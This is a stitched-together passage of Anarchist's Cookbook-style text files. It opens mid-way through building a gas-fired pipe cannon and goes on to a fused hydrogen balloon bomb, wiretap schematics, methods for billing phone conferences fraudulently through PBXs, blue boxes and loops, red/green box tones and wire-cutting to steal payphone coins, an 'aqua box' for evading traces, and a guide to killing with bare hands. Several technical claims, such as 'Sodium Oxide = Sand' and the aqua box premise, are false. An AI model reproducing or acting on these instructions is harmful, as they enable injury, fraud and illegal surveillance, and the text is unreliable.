- Cut the bell wire into three equal pieces, and strip the ends
- Cut a hole in the side of the large pipe, the same diameter as
the small pipe. Thread the hole and one end of the small pipe.
they should screw together easily.
- Take a piece of scrap metal, and bend it into an "L" shape,
then attach it to the level on the lighter:
/------------------------gas switch is here
V
/------
!lighter!!<---metal lever
!!!
!!
Now, every time you pull the 'trigger' gas should flow freely from
the lighter. You may need to enlarge the 'gas port' on your
lighter, if you wish to be able to fire more rapidly.
- Connect two wires to the two posts on the switch
- Cut two holes in the side of the smaller tube, one for the
switch on the bottom, and one for the metal piece on the top.
Then, mount the switch in the bottom, running the wires up and out
of the top.
- Mount the lighter/trigger in the top. Now the switch should
rock easily, and the trigger should cause the lighter to pour out
gas. Re-screw the smaller tube into the larger one, hold down the
trigger a bit, let it go, and throw a match in there. If all goes
well, you should hear a nice big 'THUD!'
- Get a hold of the relay, and take off the top.
1---------------
v/
2--------------/<--- the center object is the metal finger inside
3 the relay
cc-------------/
oo----------------4
ii
ll----------------5
Connect (1) to one of the wires coming from the switch. Connect
(2) to (4), and connect (5) to one side of the battery. Connect
the remaining wire from the switch to the other side of the
battery. Now you should be able to get the relay to make a little
'buzzing' sound when you flip the switch and you should see some
tiny little sparks.
- Now, carefully mount the relay on the inside of the large pipe,
towards the back. Screw on the smaller pipe, tape the battery to
the side of the cannon barrel (yes, but looks aren't everything!)
- You should now be able to let a little gas into the barrel and
set it off by flipping the switch.
- Put the cap on the back end of the large pipe VERY SECURELY.
You are now ready for the first trial-run!
To Test:
Put something very, very large into the barrel, just so that it
fits 'just right'. Now, find a strong guy (the recoil will
probably knock you on your ass if you aren't careful!). Put on a
shoulderpad, earmuffs, and possibly some other protective clothing
(trust the Jolly Roger! You are going to need it!). Hold the
trigger down for 30 seconds, hold on tight, and hit the switch.
With luck and the proper adjustments, you should be able to put a
frozed orange through 1/4 or plywood at 25 feet.
Have fun! -Exodus-
_
Chemical Equivalency list by the Jolly Roger
Acacia..................................................Gum Arabic
Acetic Acid................................................Vinegar
Aluminum Oxide..............................................Alumia
Aluminum Potassium Sulphate...................................Alum
Aluminum Sulfate..............................................Alum
Ammonium Carbonate.......................................Hartshorn
Ammonium Hydroxide.........................................Ammonia
Ammonium Nitrate........................................Salt Peter
Ammonium Oleate.......................................Ammonia Soap
Amylacetate............................................Bananna Oil
Barium Sulfide...........................................Black Ash
Carbon Carbinate.............................................Chalk
Carbontetrachloride.................................Cleaning Fluid
Calcium Hypochloride..............................Bleaching Powder
Calcium Oxide.................................................Lime
Calcium Sulfate...................................Plaster of Paris
Carbonic Acid..............................................Seltzer
Cetyltrimethylammoniumbromide........................Ammonium Salt
Ethylinedichloride.....................................Dutch Fluid
Ferric Oxide.............................................Iron Rust
Furfuraldehyde............................................Bran Oil
Glucose.................................................Corn Syrup
Graphite...............................................Pencil Lead
Hydrochloric Acid....................................Muriatic Acid
Hydrogen Peroxide.........................................Peroxide
Lead Acetate.........................................Sugar of Lead
Lead Tero-oxide...........................................Red Lead
Magnesium Silicate............................................Talc
Magnesium Sulfate.......................................Epsom Salt
Methylsalicylate..................................Winter Green Oil
Naphthalene..............................................Mothballs
Phenol...............................................Carbolic Acid
Potassium Bicarbonate..............................Cream of Tarter
Potassium Chromium Sulfate..............................Chromealum
Potassium Nitrate.......................................Salt Peter
Sodium Oxide..................................................Sand
Sodium Bicarbonate.....................................Baking Soda
Sodium Borate................................................Borax
Sodium Carbonate......................................Washing Soda
Sodium Chloride...............................................Salt
Sodium Hydroxide...............................................Lye
Sodium Silicate..............................................Glass
Sodium Sulfate......................................Glauber's Salt
Sodium Thiosulfate.............................Photographer's Hypo
Sulfuric Acid.........................................Battery Acid
Sucrose.................................................Cane Sugar
Zinc Chloride.......................................Tinner's Fluid
Zinc Sulfate.........................................White Vitriol
Brought to you in the Anarchist's CookBook 4.14..
-= Exodus =-
_
Phone Taps by The Jolly Roger
Here is some info on phone taps. In this file is a schematic for a
simple wiretap & instructions for hooking up a small tape recorder
control relay to the phone line.
First, I will discuss taps a little. There are many different
types of taps. there are transmitters, wired taps, and induction
taps to name a few. Wired and wireless transmitters must be
physically connected to the line before they will do any good.
Once a wireless tap is connected to the line,it can transmit all
conversations over a limited reception range. The phones in the
house can even be modifies to pick up conversations in the room
and transmit them too! These taps are usually powered off of the
phone line, but can have an external power source. You can get more
information on these taps by getting an issue of Popular
Communications and reading through the ads. Wired taps, on the
other hand, need no power source, but a wire must be run from the
line to the listener or to a transmitter. There are obvious
advantages of wireless taps over wired ones. There is one type of
wireless tap that looks like a normal telephone mike. All you have
to do is replace the original mike with thisand itwill transmit
all conversations! There is also an exotic type of wired tap known
as the 'Infinity Transmitter' or 'Harmonica Bug'. In order to hook
one of these, it must be installed inside the phone. When someone
calls the tapped phone & *before* it rings,blows a whistle over
the line, the transmitter picks up the phone via a relay. The mike
on the phone is activated so that the caller can hear all of the
conversations in the room. There is a sweep tone test at
415/BUG-1111 which can be used to detect one of these taps. If one
of these is on your line & the test # sends the correct tone, you
will hear a click. Induction taps have one big advantage over taps
that must be physically wired to the phone. They do not have to be
touching the phone in order to pick up the conversation. They work
on the same principle as the little suction-cup tape recorder
mikes that you can get at Radio Shack. Induction mikes can be
hooked up to a transmitter or be wired.
Here is an example of industrial espionage using the phone:
A salesman walks into an office & makes a phone call. He fakes
the conversation, but when he hangs up he slips some foam rubber
cubes into the cradle. The called party can still hear all
conversations in the room. When someone picks up the phone, the
cubes fall away unnoticed.
A tap can also be used on a phone to overhear what your modem is
doing when you are wardialing, hacking, or just plain calling a
bbs (like the White Ruins! Denver, Colorado! 55 megs online!
Atari! Macintosh! Amiga! Ibm! CALL IT! 303-972-8566! By the way, i
did this ad without the sysops consent or knowledge!).
Here is the schematic:
-------)!----)!(------------->
)!(
Cap ^ )!(
)!(
)!(
)!(
^^^^^---)!(------------->
^ 100K
!
! Ask to speak to their supervisor... or
better yet the Group Chief (who is the highest ranking official in
any office) who is the equivalent of the Madame ina whorehouse.
By the way, some CO's that willallow you to dial a 0 or 1 as the
4th digit, will also allow you to call special operators & other
fun Tel. Co. #'s without a blue box. This is ver rare, though! For
example,212-121-1111 will get you a NY Inward Operator.
Office Hierarchy
~~~~~~~~~~~~~~~~
Every switching office in North America (the NPA system), is
assigned an office name and class. There are five classes of
offices numbered 1 through 5. Your CO is most likely a class 5 or
end office. All long-distance (Toll) calls are switched by a toll
office which can be a class 4, 3, 2, or 1 office. There is also a
class 4X office callen an intermediate point. The 4X office is a
digital one that can have an unattended exchange attached to it
(known as a Remote Switching Unit (RSU)).
The following chart will list the Office #, name, & how many of
those office exist (to the best of my knowledge) in North America:
Class Name Abb # Existing
----- ----------------------- --- -----------------
> 1 Regional Center RC 12
> 2 Sectional Center SC 67
> 3 Primary Center PC 230
> 4 Toll Center TC 1,300
> 4P Toll Point TP n/a
> 4X Intermediate Point IP n/a
> 5 End Office EO 19,000
> 6 RSU RSU n/a
When connecting a call from one party to another, the switching
equipment usually tries to find the shortest route between the
class 5 end office of the caller & the class 5 end officeof the
called party. If no inter-office trunks exist between the two
parties, it will then move upward to the next highest office for
servicing calls (Class 4). If the Class 4 office cannot handle the
call by sending it to another Class 4 or 5 office, it will then be
sent to the next highest office in the hierarchy (3). The
switching equipment first uses the high-usage interoffice trunk
groups, if they are busy then it goes to the fina; trunk groups on
the next highest level. If the call cannot be connected, you will
probably get a re-order [120 IPM (interruptions per minute) busy
signal] signal. At this time, the guys at Network Operations are
probably shitting in their pants and trying to avoid the dreaded
Network Dreadlock (as seen on TV!).
It is also interesting to note that 9 connections in tandem is
called ring-around-the-rosy and it has never occured in telephone
history. This would cause an endless loop connection [a neat way
to really screw up the network].
The 10 regional centers in the US & the 2 in Canada are all
interconnected. they form the foundation of the entire telephone
network. Since there are only 12 of them, they are listed below:
Class 1 Regional Office Location NPA
-------------------------------- ---
Dallas 4 ESS 214
Wayne, PA 215
Denver 4T 303
Regina No. 2SP1-4W (Canada) 306
St. Louis 4T 314
Rockdale, GA 404
Pittsburgh 4E 412
Montreal No. 1 4AETS (Canada) 504
That's it for now! More info to come Future update to the
Cookbook! Have fun! -Exodus-
_
Basic Alliance Teleconferencing Courtesy of the Jolly Roger
Introduction:
------------
This phile will deal with accessing, understanding and using the Alliance
Teleconferencing Systems.... it has many sections and for best use should
be printed out...enjoy...
Alliance:
--------
Alliance Teleconferencing is an independant company which allows the general
public to access and use it's conferencing equipment. Many rumors have
been floating apound that Alliance is a subsidary of AT&T.
Well, they are wrong. As stated above, Alliance is an entirely independant
company. They use sophisticated equipment to allow users to talk to many
people at once.
The Number:
---------
Alliance is in the 700 exchange, thus it is not localized, well, not
in a way. Alliance is only in certain states, and only
residents of these certain states can access by dialing direct. This,
however, will be discussed in a later chapter. The numbers for alliance are
as follows:
0-700-456-1000 (chicago)
-1001 (los angeles)
-1002 (chicago)
-1003 (houston)
-2000 (?)
-2001 (?)
-2002 (?)
-2003 (?)
-3000 (?)
-3001 (?)
-3002 (?)
-3003 (?)
The locations of the first 4 numbers are known and i have stated them.
However, the numbers in the 200x and 300x are not definately known.
Rumor has it that the pattern repeats itself but this has not been proven.
Dialing:
-------
As stated before, Alliance is only in certain stated and only these states
can access them via dialing direct. However, dialing direct causes your
residence to be charged for the conference and conference bills are not low!!!
Therefore, many ways have been discovered to start a conference without
having it billed to ones house. They are as follows:
1) Dialing through a PBX
2) Incorporating a Blue Box
3) Billing to a loop
4) Billing to a forwarded call
I am sure there are many more but these are the four i will deal with.
Dialing through a PBX:
------- ------- - ---
Probably the easiest method of creating a free conference is through a PBX.
Simply call one in a state that has Alliance, input the PBX's code,
dial 9 for an outside line and then dial alliance.
An example of this would be:
PBX: 800-241-4911
When it answers it will give you a tone. At this tone input your code.
Code: 1234
After this you will receive another tone, now dial 9 for an outside line.
You will now hear a dial tone. Simply dial Alliance from this point and
the conference will be billed to the PBX.
Using a Blue Box:
----- - ---- ---
Another rather simple way of starting a conference is with a Blue Box.
The following procedure is how to box a conference:
Dial a number to box off of. In this example we will use 609-609-6099
When the party answers hit 2600hz. This will cause the fone company's
equipment to think that you have hung up. You will hear a
You have now 'seized' a trunk. After this, switch to multi-frequency
and dial:
KP-0-700-456-x00x-ST
KP=KP tone on Blue Box
x=variable between 1 and 3
ST=ST tone on Blue Box
The equipment now thinks that the operator has dialed Alliance from her
switchboard and the conference shall be billed there. Since Blue Boxing
is such a large topic, this is as far as I will go into it's uses.
Billing to a loop:
------- -- - ----
A third method of receiving a free conference is by billing out to a
loop. A loop is 2 numbers that when two people call, they can talk
to each other. You're saying woop-tee-do right? Wrong! Loops can be
usefull to phreaks. First, dial alliance direct. After going
through the beginning procedure, which will be discussed later in this
tutorial, dial 0 and wait for an Alliance operator. When she answers
tell her you would like to bill the conference to such and such a
number. (A loop where your phriend is on the other side) She will then
call that number to receive voice verification.
Of course your phriend will be waiting and will accept the charges.
Thus, the conference is billed to the loop.
Billing to call forwarding:
------- -- ---- ----------
When you dial a number that is call forwarded, it is first answered by
the original location, then forwarded. The original location will
hang up if 2600hz is received from only ond end of the line.
Therefore, if you were to wait after the forwarded residence answered,
you would receive the original location's dial tone.
Example:
Dial 800-325-4067
The original residence would answer, then forward the call, a second
type of ringing would be heard. When this second residence answers
simply wait until they hang up. After about twenty seconds you will
then receive the original residence's dial tone since it heard 2600hz
from one end of the line. Simply dial Alliance from this point and the
conference will be billed to the original residence.
These are the four main ways to receive a free conference. I am sure
many more exist, but these four are quite handy themselves.
Logon Procedure:
----- ---------
Once Alliance answers you will hear a two-tone combination. This is their
way of saying 'How many people do you want on the conference dude?'
Simply type in a 2-digit combination, depending on what bridge of Alliance
you are on, between 10 and 59. After this either hit '*' to cancel the
conference size and inout another or hit '#' to continue.
You are now in Alliance Teleconferencing and are only seconds away from
having your own roaring conference going strong!!!
Dialing in Conferees:
------- -- ---------
To dial your first conferee, dial 1+npa+pre+suff and await his/her answer.
npa=area code
pre=prefix
suff=suffix
If the number is busy, or if no one answers simply hit '*' and your call
will be aborted. But, if they do answer, hit the '#' key.
This will add them to the conference.
Now commence dialing other conferees.
Joining Your Conference:
------- ---- ----------
To join your conference from control mode simply hit the '#' key.
Within a second or two you will be chatting with all your buddies.
To go back into control mode, simply hit the '#' key again.
Transferring Control:
------------ -------
To transfer control to another conferee, go into control mode, hit the
# 6+1+npa+pre+suff of the conferee you wish to give control to. If after,
you wish to abort this transfer hit the '*' key.
:Transfer of control is often not available. When you
receive a message stating this, you simply cannot transfer control.
Muted Conferences:
----- -----------
To request a muted conference simply hit the 9 key. I am not exactly
sure what a muted conference is but it is probably a way to keep unwanted
eavesdroppers from listening in.
Dialing Alliance Operators:
------- -------- ---------
Simply dial 0 as you would from any fone and wait for the operator to answer.
Ending Your Conference:
------ ---- ----------
To end your conference all together, that is kick everyone including
yourself off, go into control mode and hit '*'...after a few seconds
simply hang up. Your conference is over.
Are Alliance Operators Dangerous?
--- -------- --------- ---------
No. Not in the least. The worst they can do to you while you are having
a conference is drop all conferees including yourself. This is in no
way harmful, just a little aggravating.
Alliance and Tracing:
-------- --- -------
Alliance can trace, as all citizens of the United States can.
But this has to all be pre-meditated and AT&T has to be called and it's
really a large hastle, therefore, it is almost never done. Alliance simply
does not want it known that teenagers are phucking them over.
The only sort of safety equipment Alliance has on-line is a simple pen
register. This little device simply records all the numbers of the
conferees dialed. No big deal. All Alliance can do is call up that persons
number, threaten and question. However, legally, they can do nothing because
all you did was answer your fone.
:Almost all instructions are told to the person in command by Alliance
recordings. A lot of this tutorial is just a listing of those
commands plus information gathered by either myself or the phellow
phreaks of the world!!!
(written by the Trooper)
In the CookBook 4! -= Exodus =-_
Aqua Box Plans by Jolly Roger
Every true phreaker lives in fear of the dreadded F.B.I. 'Lock In Trace.'
For a long time, it was impossible to escape from the Lock In Trace.
This box does offer an escape route with simple directions to it.
This box is quite a simple concept, and almost any phreaker with basic
electronics knowledge can construct and use it.
The Lock In Trace
------------------
A lock in trace is a device used by the F.B.I. to lock into the phone
users location so that he can not hang up while a trace is in progress.
For those of you who are not familiar with the conecpt of 'locking in',
then here's a brief desciption. The F.B.I. can tap into a conversation,
sort of like a three-way call connection. Then, when they get there,
they can plug electricity into the phone line. All phone connections
are held open by a certain voltage of electricity.
That is why you sometimes get static and faint connections when you are
calling far away, because the electricity has trouble keeping the line
up. What the lock in trace does is cut into the line and generate that same
voltage straight into the lines. That way, when you try and hang up, voltage
is retained. Your phone will ring just like someone was calling you
even after you hang up. (If you have call waiting, you should understand
better about that, for call waiting intersepts the electricity and makes
a tone that means someone is going through your line. Then, it is a matter
of which voltage is higher. When you push down the receiver,then it see-saws
the electricity to the other side. When you have a person on each line
it is impossible to hang up unless one or both of them will hang up.
If you try to hang up, voltage is retained, and your phone will ring.
That should give you an understanding of how calling works. Also, when
electricity passes through a certain point on your phone, the electricity
causes a bell to ring, or on some newer phones an electronic ring to sound.)
So, in order to eliminate the trace, you somehow must lower the
voltage level on your phone line. You should know that every time
someone else picks up the phone line, then the voltage does decrease
a little. In the first steps of planning this out, Xerox suggested getting
about a hundred phones all hooked into the same line that could all
be taken off the hook at the same time. That would greatly decrease the
voltage level. That is also why most three-way connections that are using
the bell service three way calling (which is only $3 a month) become quite
faint after a while. By now, you should understand the basic idea. You
have to drain all of the power out of the line so the voltage can
not be kept up. Rather sudden draining of power could quickly short out
the F.B.I. voltage machine, because it was only built to sustain
the exact voltage nessecary to keep the voltage out. For now, imagine
this. One of the normal Radio Shack generators that you can go
pick up that one end of the cord that hooks into the central box has a
phone jack on it and the other has an electrical plug. This way, you
can "flash" voltage through the line, but cannot drain it. So, some
modifications have to be done.
Materials
----------
A BEOC (Basic Electrical Output Socket), like a small lamp-type
connection, where you just have a simple plug and wire that would plug
into a light bulb.
One of cords mentioned above, if you can't find one then construct your
own... Same voltage connection, but the restrainor must be built in (I.E.
The central box)
Two phone jacks (one for the modem, one for if you are being traced to
plug the aqua box into)
Some creativity and easy work.
*Notice: No phones have to be destroyed/modified to make this box, so
don't go out and buy a new phone for it!
Procedure
---------
All right, this is a very simple procedure. If you have the BEOC, it could
drain into anything: a radio, or whatever. The purpose of having
that is you are going to suck the voltage out from the phone line into
the electrical appliance so there would be no voltage left to lock
you in with.
1)Take the connection cord. Examine the plug at the end. It should have
only two prongs. If it has three, still, do not fear. Make sure the
electrical appliance is turned off unless you wanna become a crispy critter
while making this thing. Most plugs will have a hard plastic design on the
top of them to prevent you from getting in at the electrical wires inside.
Well, remove it. If you want to keep the plug (I don't see why...)
then just cut the top off. When you look inside, Lo and Behold,
you will see that at the base of the prongs there are a few wires
connecting in. Those wires conduct the power into the appliance.
So, you carefully unwrap those from the sides and pull them out until
they are about an inch ahead of the prongs. If you don't wanna keep the
jack, then just rip the prongs out. If you are, cover the prongs with
insultation tape so they will not connect with the wires when the power
is being drained from the line.
2)Do the same thing with the prongs on the other plug, so you have the
wires evenly connected. Now, wrap the end of the wires around each other.
If you happen to have the other end of the voltage cord hooked into the
phone, stop reading now, you're too fucking stupid to continue. After
you've wrapped the wires around each other, then cover the whole thing with
the plugs with insulating tape. Then, if you built your own control box
or if you bought one, then cram all the wires into it and reclose it.
That box is your ticket out of this.
3)Re-check everything to make sure it's all in place. This is a pretty
flimsy connection, but on later models when you get more experienced at
it then you can solder away at it and form the whole device into one
big box, with some kind of cheap mattel hand-held game inside to be
the power connector. In order to use it, just keep this box handy.
Plug it into the jack if you want, but it will slightly lower the
voltage so it isn't connected. When you plug it in, if you see sparks,
unplug it and restart the whole thing. But if it just seems fine then leave it.
Use
----
Now, so you have the whole thing plugged in and all... Do not use this
unless the situation is desperate! When the trace has gone on, don't
panic, unplug your phone, and turn on the appliance that it was hooked
to. It will need energy to turn itself on, and here's a great source...
The voltage to keep a phone line open is pretty small and a simple light
bulb should drain it all in and probably short the F.B.I. computer at
the same time.
Happy boxing and stay free! ------------Exodus
_
Hindenberg Bomb by the Jolly Roger
Needed:1 Balloon
1 Bottle
1 Liquid Plumr
1 Piece Aluminum FoilL
1 Length Fuse
Fill the bottle 3/4 full with Liquid Plumr and add a little piece of
aluminum foil to it. Put the balloon over the neck of the bottle until
the balloon is full of the resulting gas. This is highly flammable
hydrogen.
Now tie the baloon. Now light the fuse, and let it rise.
When the fuse contacts the balloon, watch out!!!
_
-------[=How to Kill Someone==]------------[=WITH YOUR BARE HANDS=]-----
AN EXCERPT FROM THE ANARCHISTS COOKBOOK II.....
Courtesy of Exodus
This file will explain the basics of hand-to-hand combat, and will tell
of the best places to strike and kill an enemy...
When engaged in hand-to-hand combat, your life is always at stake.
There is only one purpose in combat, and that is to kill your enemy.
Never face an enemy with the idea of knocking him out.
The chances are extremely good that he will kill YOU instead.
When a weapon is not available, one must resort to the full
use of his natural weapons. The natural weapons are:
1. The knife edge of your hands.
2. Fingers folded at the second joint or knuckle.
3. The protruding knuckle of your second finger.
4. The heel of your hand.
5. Your boot
6. Elbows
7. Knees
8. and Teeth.
Attacking is a primary factor. A fight was never
won by defensive action. Attack with all of your strength.
At any point or any situation, some vulnerable point on your enemies
body will be open for attack. Do this while screaming as screaming has
two purposes.
1. To frighten and confuse your enemy.
2. To allow you to take a deep breath which, in turn, will put
more oxygen in your blood stream. Your balance and balance of your
enemy are two inportant factors; since, if you succeed in making
your enemy lose his balance, the chances are nine to
one that you can kill him in your next move. The best over-all
stance is where your feet are spread about shoulders width apart,
with your right foot about a foot ahead of the left. Both arms
should be bent at the elbows parallel to each other. Stand on the
balls of your feet and bend your waist slightly. Kinda of like a
boxer's crouch. Employing a sudden movement or a scream or yell can
throw your enemy off-balance. There are many vulnerable points of
the body. We will cover them now:
Eyes:Use your fingers in a V-shape and attack in gouging motion.
Nose:(Extremely vulnerable) Strike with the knife edge of the hand
along the bridge, which will cause breakage, sharp pain, temporary
blindness, and if the blow is hard enough, death. Also, deliver a blow
with the heel of your hand in an upward motion, this›will shove the
bone up into the brain causing death.
Adam's Apple: This spot is usually pretty well protected, but if you
get the chance, strike hard with the knife edge of your hand. This
should sever the wind-pipe, and then it's all over in a matter of
minutes.
Temple: There is a large artery up here, and if you hit it hard
enough, it will cause death. If you manage to knock your enemy down,
kick him in the temple, and he'll never get up again.
Back of the Neck: A rabbit punch, or blow delivered to the base of
the neck can easily break it, but to be safe, it is better to
use the butt of a gun or some other heavy blunt object.
Upper lip: A large network of nerves are located. These nerves are
extrememly close to the skin. A sharp upward blow will cause extreme
pain, and unconciosness.
Ears: Coming up from behind an enemy and cupping the hands in a clapping
motion over the victims ears can kill him immediately. The vibrations
caused from the clapping motion will burst his eardrums, and cause
internal bleeding in the brain.
Groin: A VERY vulnerable spot. If left open, get it with knee
hard, and he'll buckle over very fast.
Kidneys: A large nerve that branches off to the spinal cord comes very
close to the skin at the kidneys. A direct blow with the knife edge
of your hand can cause death.
There are many more ways to kill and injure an enemy, but these should
work best for the average person. This is meant only as information
and I would not recommend that you use this for a simple High School Brawl.
Use these methods only, in your opinion, if your life is in danger.
Any one of these methods could very easily kill or cause permanent damage
to someone. One more word of caution, you should practice these moves
before using them on a dummy, or a mock battle with a friend.
(You don't have to actually hit him to practice, just work on accuracy.)
_
Phone Systems Tutorial III by The Jolly Roger
PREFACE:
THIS ARTICLE WILL FOCUS PRIMARILY ON THE STANDARD WESTERN ELECTRIC SINGLESLOT
COIN TELEPHONE (AKA FORTRESS FONE) WHICH CAN BE DIVIDED INTO 3 TYPES:
- DIAL-TONE FIRST (DTF)
- COIN-FIRST (CF): (IE, IT WANTS YOUR $ BEFORE YOU RECEIVE A DIAL TONE)
- DIAL POST-PAY SERVICE (PP): YOU PAYAFTER THE PARTY ANSWERS
DEPOSITING COINS (SLUGS):
-------------------------
ONCE YOU HAVE DEPOSITED YOUR SLUG INTO A FORTRESS, IT IS SUBJECTED TO A
GAMUT OF TESTS. THE FIRST OBSTACAL FOR A SLUG IS THE
MAGNETIC TRAP. THIS WILL STOP ANY LIGHT-WEIGHT MAGNETIC SLUGS AND COINS.
IF IT PASSES THIS, THE SLUG IS THEN CLASSIFIED AS A NICKEL, DIME, OR
QUARTER. EACH SLUG IS THEN CHECKED FOR APPROPRIATE SIZE AND WEIGHT. IF THESE
TESTS ARE PASSED, IT WILL THEN TRAVEL THROUGH A NICKEL, DIME, OR QUARTER
MAGNET AS APPROPRIATE. THESE MAGNETS SET UP AN EDDY CURRENT EFFECT WHICH
CAUSES COINS OF THE APPROPRIATE CHARACTERISTICS TO SLOW DOWN SO THEY
WILL FOLLOW THE CORRECT TRAJECTORY. IF ALL GOES WELL, THE COIN WILL FOLLOW THE
CORRECT PATH (SUCH AS BOUNCING OFF OF THE NICKEL ANVIL) WHERE IT WILL
HOPEFULLY FALL INTO THE NARROW ACCEPTED COIN CHANNEL.
THE RATHER ELABORATE TESTS THAT ARE PERFORMED AS THE COIN TRAVELS DOWN THE
COIN CHUTE WILL STOP MOST SLUGS AND OTHER UNDESIRABLE COINS, SUCH AS
PENNIES, WHICH MUST THEN BE RETRIEVED USING THE COIN RELEASE LEVER.
IF THE SLUG MIRACULOUSLY SURVIVES THE GAMUT, IT WILL THEN STRIKE THE
APPROPRIATE TOTALIZER ARM CAUSING A RATCHET WHEEL TO ROTATE ONCE FOR EVERY
5-CENT INCREMENT (EG, A QUARTER WILL CAUSE IT TO ROTATE 5 TIMES).
THE TOTALIZER THEN CAUSES THE COIN SIGNAL OSCILLATOR TO READOUT A DUALFREQUENCY
SIGNAL INDICATING THE VALUE DEPOSITED TO ACTS (A COMPUTER) OR THE
TSPS OPERATOR. THESE ARE THE SAME TONES USED BY PHREAKS IN THE INFAMOUS RED
BOXES. FOR A QUARTER, 5 BEEP TONES ARE
OUTPULSED AT 12-17 PULSES PER SECOND (PPS). A DIME CAUSES 2 BEEP TONES AT
5 - 8.5 PPS WHILE A NICKEL CAUSES ONE BEEP TONE AT 5 - 8.5 PPS. A BEEP
CONSISTS OF 2 TONES: 2200 + 1700 HZ. A RELAY IN THE FORTRESS CALLED THE "B
RELAY" (YES, THERE IS ALSO AN 'A RELAY') PLACES A CAPACITOR ACROSS THE
SPEECH CIRCUIT DURING TOTALIZER READOUT TO PREVENT THE "CUSTOMER" FROM
HEARING THE RED BOX TONES. IN OLDER 3 SLOT PHONES: ONE BELL
(1050-1100 HZ) FOR A NICKEL, TWO BELLS FOR A DIME, AND ONE GONG (800 HZ) FOR A
QUARTER ARE USED INSTEAD OF THE MODERN DUAL-FREQUENCY TONES.
=============
=TSPS & ACTS=
=============
WHILE FORTRESSES ARE CONNECTED TO THE CO OF THE AREA, ALL TRANSACTIONS ARE
HANDLED VIA THE TRAFFIC SERVICE POSITION SYSTEM (TSPS). IN AREAS THAT
DO NOT HAVE ACTS, ALL CALLS THAT REQUIRE OPERATOR ASSISTANCE, SUCH AS
CALLING CARD AND COLLECT, ARE AUTOMATICALLY ROUTED TO A TSPS OPERATOR
POSITION. IN AN EFFORT TO AUTOMATE FORTRESS
SERVICE, A COMPUTER SYSTEM KNOWN AS AUTOMATED COIN TOLL SERVICE (ACTS) HAS
BEEN IMPLEMENTED IN MANY AREAS. ACTS LISTENS TO THE RED BOX SIGNALS FROM THE
FONES AND TAKES APPROPRIATE ACTION. IT IS ACTS WHICH SAYS, "TWO DOLLARS PLEASE
(PAUSE) PLEASE DEPOSIT TWO DOLLARS FOR THE NEXT TEN SECONDS" (AND OTHER
VARIATIONS). ALSO, IF YOU TALK FOR MORE THAN THREE MINUTES AND THEN HANG-UP,
ACTS WILL CALL BACK AND DEMAND YOUR MONEY. ACTS IS ALSO RESPONSIBLE FOR
AUTOMATED CALLING CARD SERVICE. ACTS ALSO PROVIDE TROUBLE DIAGNOSIS FOR
CRAFTSPEOPLE (REPAIRMEN SPECIALIZING IN FORTRESSES). FOR EXAMPLE, THERE IS A
COIN TEST WHICH IS GREAT FOR TUNING UP RED BOXES. IN MANY AREAS THIS TEST CAN
BE ACTIVATED BY DIALING 09591230 AT A FORTRESS (THANKS TO KARL MARX FOR THIS
INFORMATION). ONCE ACTIVATED IT WILL REQUEST THAT YOU DEPOSIT VARIOUS COINS.
IT WILL THEN IDENTIFY THE COIN AND OUTPULSE THE APPROPRIATE RED BOX
SIGNAL. THE COINS ARE USUALLY RETURNED WHEN YOU HANG UP.
TO MAKE SURE THAT THERE IS ACTUALLY MONEY IN THE FONE, THE CO INITIATES A
"GROUND TEST" AT VARIOUS TIMES TO DETERMINE IF A COIN IS ACTUALLY IN THE
FONE. THIS IS WHY YOU MUST DEPOSIT AT LEAST A NICKEL IN ORDER TO USE A RED
BOX!
GREEN BOXES:
------------
PAYING THE INITIAL RATE IN ORDER TO USE A RED BOX (ON CERTAIN FORTRESSES)
LEFT A SOUR TASTE IN MANY RED BOXER'S MOUTHS THUS THE GREEN BOX WAS INVENTED.
THE GREEN BOX GENERATES USEFUL TONES SUCH AS COIN COLLECT, COIN RETURN, AND
RINGBACK. THESE ARE THE TONES THAT ACTS OR THE TSPS OPERATOR WOULD SEND TO
THE CO WHEN APPROPRIATE. UNFORTUNATELY, THE GREEN BOX CANNOT BE USED AT A
FORTRESS STATION BUT IT MUST BE USED BY THE CALLED PARTY.
HERE ARE THE TONES:
COIN COLLECT 700 + 1100 HZ
COIN RETURN 1100 + 1700 HZ
RINGBACK 700 + 1700 HZ
BEFORE THE CALLED PARTY SENDS ANY OF THESE TONES, AN OPERATOR RELEASED
SIGNAL SHOULD BE SENT TO ALERT THE MF DETECTORS AT THE CO. THIS CAN BE
ACCOMPLISHED BY SENDING 900 + 1500 HZ OR A SINGLE 2600 HZ WINK (90 MS)
FOLLOWED BY A 60 MS GAP AND THEN THE APPROPRIATE SIGNAL FOR AT LEAST 900 MS.
ALSO, DO NOT FORGET THAT THE INITIAL RATE IS COLLECTED SHORTLY BEFORE THE 3
MINUTE PERIOD IS UP. INCIDENTALLY, ONCE THE ABOVE MF TONES
FOR COLLECTING AND RETURNING COINS REACH THE CO, THEY ARE CONVERTED INTO
AN APPROPRIATE DC PULSE (-130 VOLTS FOR RETURN & +130 VOLTS FOR COLLECT). THIS
PULSE IS THEN SENT DOWN THE TIP TO THE FORTRESS. THIS CAUSES THE COIN RELAY
TO EITHER RETURN OR COLLECT THE COINS. THE ALLEGED "T-NETWORK" TAKES ADVANTAGE
OF THIS INFORMATION. WHEN A PULSE FOR COIN COLLECT (+130 VDC) IS SENT DOWN
THE LINE, IT MUST BE GROUNDED SOMEWHERE. THIS IS USUALLY EITHER THE
YELLOW OR BLACK WIRE. THUS, IF THE WIRES ARE EXPOSED, THESE WIRES CAN BE
CUT TO PREVENT THE PULSE FROM BEING GROUNDED. WHEN THE THREE MINUTE
INITIAL PERIOD IS ALMOST UP, MAKE SURE THAT THE BLACK & YELLOW WIRES ARE
SEVERED; THEN HANG UP, WAIT ABOUT 15 SECONDS IN CASE OF A SECOND PULSE,
RECONNECT THE WIRES, PICK UP THE FONE, HANG UP AGAIN, AND IF ALL GOES WELL IT
SHOULD BE "JACKPOT" TIME.
PHYSICAL ATTACK:
----------------
A TYPICAL FORTRESS WEIGHS ROUGHLY 50 LBS. WITH AN EMPTY COIN BOX. MOST OF
THIS IS ACCOUNTED FOR IN THE ARMOR PLATING. WHY ALL THE SECURITY? WELL,
BELL CONTRIBUTES IT TO THE FOLLOWING: "SOCIAL CHANGES DURING THE 1960'S
MADE THE MULTISLOT COIN STATION A PRIME TARGET FOR: VANDALISM, STRONG ARM
ROBBERY, FRAUD, AND THEFT OF SERVICE. THIS BROUGHT ABOUT THE INTRODUCTION OF
THE MORE RUGGED SINGLE SLOT COIN STATION AND A NEW ENVIRONMENT FOR COIN
SERVICE." AS FOR PICKING THE LOCK, I WILL QUOTE MR. PHELPS:
